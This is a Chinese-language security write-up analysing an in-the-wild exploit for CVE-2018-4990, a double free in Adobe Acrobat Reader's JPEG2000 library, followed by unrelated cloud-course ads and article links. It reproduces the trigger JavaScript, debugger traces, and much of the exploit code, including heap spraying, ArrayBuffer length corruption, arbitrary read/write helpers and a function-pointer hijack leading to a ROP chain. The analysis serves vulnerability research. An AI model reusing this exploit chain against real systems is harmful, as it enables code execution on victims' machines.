针对Adobe Double Free(CVE-2018-4990)的利用分析

简介:

在本文中我将介绍攻击者如何利用CVE-2018-4990,这是在处理特制JPEG2000图像时在Acrobat Reader中的越界读取漏洞。

介绍

由于Acrobat Reader的使用很广泛,这使得我决定去试试对这一漏洞进行分析。目前我对AcroRd32.exe(c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc)v2018.011.20035的所有测试均已完成。显然其他版本也有受到影响,请参阅Adobe的公告apsb18-09了解更多详情。

深入探寻漏洞的根源

我需要做的第一件事就是解压缩PDF,因为许多对象被压缩,隐藏了真正的功能,如JavaScript和图像。我比较喜欢使用pdf工具包,因为它是命令行驱动的。

c:\> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress

由于我没有JPEG2000图像的原始样本,因此我不知道该图像是否已翻转过,所以我只能深入研究JavaScript。剥去JavaScript的其余部分后,我们可以看到以下代码会触发读取的界限:

function trigger(){
 var f = this.getField("Button1");
 if(f){
 f.display = display.visible;
 }
}
trigger();

JavaScript来自根节点触发的OpenAction:

1 0 obj 
<<
/Length 130
>>
stream
function trigger(){
 var f = this.getField("Button1");
 if(f){
 f.display = display.visible;
 }
}
trigger();
endstream 
endobj
 
...
 
5 0 obj 
<<
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 6 0 R
/AcroForm 7 0 R
/Type /Catalog
>>
endobj 
6 0 obj 
<<
/JS 1 0 R
/Type /Action
/S /JavaScript
>>
endobj 
 
...
 
trailer
 
<<
/Root 5 0 R
/Size 39
>>

在启用页面堆栈和用户模式堆栈跟踪的情况下,我们会获得以下崩溃:

(a48.1538): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000
eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
66886e88 813abbbbcdab cmp dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv
ChildEBP RetAddr Args to Child 
0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\JP2KLib.dll - 
0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - 
0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843
0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd
0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc
0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187
0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d
0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b
0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36
0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8
0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1

我们可以看到,免费的调用者是JP2KLib!接下来让我们深入该功能JP2KCopyRect + 0xbae6,看看到底发生了什么。

针对Adobe Double Free(CVE-2018-4990)的利用分析

我们可以看到我们实际上处于循环操作中。代码循环遍历主要用于从缓冲区中读取值的索引,它尝试读取的缓冲区大小为0x3f4。 所以如果索引是0xfd,我们有一个从缓冲区+(0xfd * 0x4)== 0x3f4的读取,这是第一个越界的双字符。 现在我们如果继续循环最后一次(0xfe <0xff),那么我们就会获得另一个双字符的第二次越界读取。因此这个bug实际上可以读取8个字节的越界。

如果它读取的值不为空,则代码将超出边界值作为第一个参数推送到sub_10066FEA并调用它。

接下来我们将在push eax上的调用者之前设置一个断点来检查发生了什么。

Breakpoint 1 hit
eax=d0d0d0d0 ebx=00000000 ecx=000000fd edx=00000001 esi=33b6cf98 edi=68032e88
eip=667e056e esp=0028a724 ebp=0028a838 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
JP2KLib!JP2KCopyRect+0xbae0:
667e056e 50 push eax
0:000> bl
 0 e 667e056e 0001 (0001) 0:**** JP2KLib!JP2KCopyRect+0xbae0
0:000> dd poi(esi+0x48)+0x4 L1
4732cfe4 000000ff
0:000> r ecx
ecx=000000fd

我们可以清楚地看到上界是0xff,当前索引是0xfd。我不确定这个上限值是否可控,display.visible的常量实际上是0。

这实际上取决于sub_10066FEA对越界值(eax)所做的操作,他会确定此bug的利用率。但是我们已经知道它最终试图释放第一个参数。所以基本上这就是一个越界的读取,他可以导致两个任意的空值。

一个有趣的观点是,很多漏洞都是通过格式错误的静态内容和动态内容访问以及操纵格式错误的内容来触发的。这种类型的模糊是困难的,因为它需要在单个模糊迭代中结合基于突变和基于生成的模糊策略。

利用

因此,为了达到任意空闲,攻击者需要执行以下操作:

1.加载PDF,在字段按钮内部解析(推测)畸形的JP2K图像。

2.分配大量的ArrayBuffer,它们只是大于读出边界的缓冲区

3.设置精确的索引(即249和250),指出攻击者想要释放的内容

4.释放第二个ArrayBuffer,以便分配将落入一个插槽中

5.触发实际分配到一个插槽并读越界限的错误,释放这两个指针

这就是JavaScript代码的样子:

var a = new Array(0x3000);
var spraynum = 0x1000;
var sprayarr = new Array(spraynum);
var spraylen = 0x10000-24;
var spraybase = 0x0d0e0048;
var spraypos = 0x0d0f0058;
 
// force allocations to prepare the heap for the oob read
for(var i1 = 1; i1 < 0x3000; i1++){
 a[i] = new Uint32Array(252);
 a1[i1][249] = spraybase;
 a1[i1][250] = spraybase + 0x10000;
}
 
// heap spray to land ArrayBuffers at 0x0d0e0048 and 0x0d0f0048
for(var i1 = 1; i1 < spraynum; i++){
 sprayarr[i1] = new ArrayBuffer(spraylen);
}
 
// make holes so the oob read chunk lands here
for(var i1 = 1; i1 < 0x3000; i1 = i1 + 2){
 delete a[i1];
 a[i1] = null;
}

实际上,这段代码正在试图去获得空值:

1. Alloc TypedArray 2. Free TypedArray 3. Alloc from JP2KLib 4. OOB Read + free!
+--------------------+ +---------------------+ +---------------------+ +---------------------+
| | | | | +-----------------+ | | +-----------------+ |
| | | | | | | | | | | +-----+
| | | | | | | | | | | +---+ |
| | +--> | | +--> | |Size: 0x3f4 | | +--> | |Size: 0x3f4 | | | |
| | | | | +-----------------+ | | +-----------------+ | | |
| +249: 0x0d0e0048 | | +249: 0x0d0e0048 | | +249: 0x0d0e0048 | | +249: 0x0d0e0048 | <-+ |
| +250: 0x0d0e0048 | | +250: 0x0d0e0048 | | +250: 0x0d0e0048 | | +250: 0x0d0e0048 | <---+
+--------------------+ +---------------------+ +---------------------+ +---------------------+
Size: 0x400 Size: 0x400 Size: 0x400 Size: 0x400

因为252 * 4是0x3F0,所以使用的大小252。然后如果我们添加标题(0x10),则总数为0x400。 这足以在目标缓冲区的顶部分配8个字节来利用越界的读取。

因此,攻击者可以释放两个大小为0x10000的缓冲区,这使得它们在JavaScript中具有很好的免费使用条件,因为它们已经引用了sprayarr。 由于缓冲区是连续的,所以发生合并并且释放的缓冲区变成大小0x20000。

所以在两个空值发生之后,我们在这个状态下留下堆。

1. Spray Heap 2. Trigger arbitrary free 3. Trigger arbitrary free 4. Coalesce the 2 chunks
+------------------------+ +------------------------+ +------------------------+ +------------------------+
| | | | | | | |
| Size: 0x10000 | | Size: 0x10000 | | Size: 0x10000 | | Size: 0x10000 |
| | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | | | | | |
| | Allocated | | | | Allocated | | | | Allocated | | | | Allocated | |
| | | | | | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ |
| +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | | | | | |
| | Allocated | | +--> | | Freed | | +--> | | Freed | |+-- | | Freed | |
| | | | | | | | | | | | | | | chunks | |
| +--------------+ | | +--------------+ | | +--------------+ | --> | | coalesced | |
| +--------------+ | | +--------------+ | | +--------------+ | --> | | size: | |
| | | | | | | | | | | | | | | 0x20000 | |
| | Allocated | | | | Allocated | | +--> | | Freed | |+-- | | | |
| | | | | | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | |
+------------------------+ +------------------------+ +------------------------+ +------------------------+

现在所有攻击者需要做的是分配一个大小为0x20000的TypedArray,并使用sprayarr引用,找到它来覆盖下一个ArrayBuffer的字节长度。

// reclaims the memory, like your typical use after free
 for(var i1 = 1; i1 < 0x40; i1++){
 sprayarr2[i1] = new ArrayBuffer(0x20000-24);
 }
 
 // look for the TypedArray that is 0x20000 in size
 for(var i1 = 1; i1 < spraynum; i1++){
 if( sprayarr[i1].byteLength == 0x20000-24){
 
 // this is the magic, overwrite the next TypedArray's byte length
 var biga = new DataView(sprayarr[i1]);
 
 // offset to the byte length in the header
 biga.setUint32(0x10000 - 12, 0x66666666);
 
 // +1 because the next reference as a corrupted length now.
 if(sprayarr[i1 + 1].byteLength == 0x66666666){
 
 // game over attackers can read/write out of biga
 biga = new DataView(sprayarr[i1 + 1]);
 
 ...

现在他们知道哪个TypedArray很大了(if(sprayarr [i] .byteLength == 0x20000-24)),然后它们用它来覆盖相邻ArrayBuffer的字节长度(var biga = new DataView(sprayarr [i ]); biga.setUint32(0x10000-12,0×66666666);)。 他们只检查下一个ArrayBuffer是否具有匹配的字节长度(如果(sprayarr [i + 1] .byteLength == 0x66666666)),并且如果它确实存在,那么它们使用DataView相对读取/写出相邻的ArrayBuffer (biga = new DataView(sprayarr [i + 1]);)。

在这个阶段,他们需要将这个原语升级为整个进程空间中的完整读/写原语,以便泄露TypedArray的指针和基址。

 var arr = new Array(0x10000);
 for(var i2 = 0x10; i2 < 0x10000; i2++)
 arr[i2] = new Uint32Array(1);
 for(var i2 = 1; i2 < 0x10; i2++){
 arr[i2] = new Uint32Array(sprayarr[i1 + i2]);
 
 // set the index into the first element of the TypedArray
 // so that the attackers where they are
 arr[i2][0] = i2;
 }
 
 for(var i2 = 0x30000; i2 < (0x10000 * 0x10); i2 = i2 + 4)
 {
 if( biga.getUint32(i2, true) == spraylen && biga.getUint32(i2 + 4, true) > spraypos ){
 
 // save a reference to the relative read/write TypedArray
 mydv = biga;
 
 // leak the index
 var itmp = mydv.getUint32(i2 + 12, true);
 
 // get a reference to TypedArray that they overwrite
 myarray = arr1[itmp];
 
 // get the index where the pointer of the TypedArray is
 mypos = biga.getUint32(i2 + 4, true) - spraypos + 0x50;
 
 // set its byte length to a stupid number also
 mydv.setUint32(mypos - 0x10, 0x100000, true);
 
 // leak the pointer of the TypedArray
 myarraybase = mydv.getUint32(mypos, true);

对于完整的读写原语,它们使用mypos和他们要读取/写入的地址覆盖存储在arr Array的第一个元素中的TypedArray指针,执行读/写操作,然后将指针指向TypedArray返回基址(myarraybase)。

function myread(addr){
 mydv.setUint32(mypos, addr, true);
 var res = myarray[0];
 mydv.setUint32(mypos, myarraybase, true);
 return res;
}
 
function mywrite(addr, value){
 mydv.setUint32(mypos, addr, true);
 myarray[0] = value;
 mydv.setUint32(mypos, myarraybase, true);
 }

自然而然的,他们需要使用一些辅助函数来使用新的读/写原语。事实上到这里,游戏就结束了。他们本来可能只进行一次数据攻击,但是由于Acrobat Reader没有控制流程防护(CFG),所以他们选择了传统的呼叫控制流程。首先,他们找到了EScript.api并获得了dll的基址,然后他们用dll加载程序存根创建了一个rop链,将其全部存储在myarray中。TypedArray覆盖了书签对象的执行函数指针,其中myarray的基地址用于最终重定向执行流。

var bkm = this.bookmarkRoot; 
var objescript = 0x23A59BA4 - 0x23800000 + dll_base;
objescript = myread(objescript);
 
...
 
mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base); 
mywrite(objescript + 4, myarraybase);
mywrite(objescript + 0x598,0x6b68389f - 0x6b640000 + dll_base);
 
// adios!
bkm.execute();

对于攻击者来说,Adobe Acrobat Reader仍然是一个很好的目标,因为JavaScript对ArrayBuffers非常灵活,PDF解析非常复杂。操作系统缓解的影响很小,因此Adobe选择加强其二进制文件(/ GUARD:CF)以加大开发难度。如果Adobe启用了CFG并开发了一种孤立堆的形式(就像他们使用flash一样),那么这个bug可能更难以利用。

如前所述,这个示例看起来还处于积极的发展阶段,JavaScript没有对其进行模糊处理,但这确实是一个不错的漏洞,因为我确信JP2KLib.dll中存在许多其他漏洞。尽管如此,这仍然是一个奇妙的漏洞和非常好的一次利用!


原文发布时间为:2018-05-25

本文来自云栖社区合作伙伴“嘶吼网”,了解相关信息可以关注“嘶吼网”。

相关实践学习
基于Hologres轻松玩转一站式实时仓库
本场景介绍如何利用阿里云MaxCompute、实时计算Flink和交互式分析服务Hologres开发离线、实时数据融合分析的数据大屏应用。
阿里云实时数仓实战 - 项目介绍及架构设计
课程简介 1)学习搭建一个数据仓库的过程,理解数据在整个数仓架构的从采集、存储、计算、输出、展示的整个业务流程。 2)整个数仓体系完全搭建在阿里云架构上,理解并学会运用各个服务组件,了解各个组件之间如何配合联动。 3&nbsp;)前置知识要求 &nbsp; 课程大纲 第一章&nbsp;了解数据仓库概念 初步了解数据仓库是干什么的 第二章&nbsp;按照企业开发的标准去搭建一个数据仓库 数据仓库的需求是什么 架构 怎么选型怎么购买服务器 第三章&nbsp;数据生成模块 用户形成数据的一个准备 按照企业的标准,准备了十一张用户行为表 方便使用 第四章&nbsp;采集模块的搭建 购买阿里云服务器 安装 JDK 安装 Flume 第五章&nbsp;用户行为数据仓库 严格按照企业的标准开发 第六章&nbsp;搭建业务数仓理论基础和对表的分类同步 第七章&nbsp;业务数仓的搭建&nbsp; 业务行为数仓效果图&nbsp;&nbsp;
相关文章
|
28天前
|
NoSQL C++
c++中包含string成员的结构体拷贝导致的double free问题
c++中包含string成员的结构体拷贝导致的double free问题
18 0
|
安全 Java 调度
由Asset中的double free引发的Android系统及APP崩溃问题分析
前言 这个问题在来小米之前就遇到并解决过,当时的解决方案与朴老师的初步解决方案一样,本文在之前的初步分析结果之上进一步进行了深入分析,最终得出了当前看起来相对合理并符合原来架构设计的最终方案。
2053 0
|
28天前
|
存储 Java
百度搜索:蓝易云【Java语言之float、double内存存储方式】
由于使用IEEE 754标准进行存储,float和double类型可以表示非常大或非常小的浮点数,并且具有一定的精度。然而,由于浮点数的特性,它们在进行精确计算时可能会存在舍入误差。在编写Java程序时,需要注意使
62 0
|
18天前
|
存储 C语言
计算 int, float, double 和 char 字节大小
计算 int, float, double 和 char 字节大小。
22 3
|
8月前
|
存储 C语言
C 语言实例 - 计算 int, float, double 和 char 字节大小
C 语言实例 - 计算 int, float, double 和 char 字节大小。
39 1
|
28天前
|
C#
C# 字节数组与INT16,float,double之间相互转换,字符数组与字符串相互转换,
C# 字节数组与INT16,float,double之间相互转换,字符数组与字符串相互转换,
88 1
|
10月前
|
C++
C/C++ 关于double和float两种类型的区别
C/C++ 关于double和float两种类型的区别
C/C++ 关于double和float两种类型的区别
|
7月前
|
存储 C语言
计算 int, float, double 和 char 字节大小
C 语言实例 - 计算 int, float, double 和 char 字节大小。
51 1
|
7月前
|
Java
float与double精度丢失问题
float与double精度丢失问题
|
8月前
float和double的区别
float和double的区别
62 0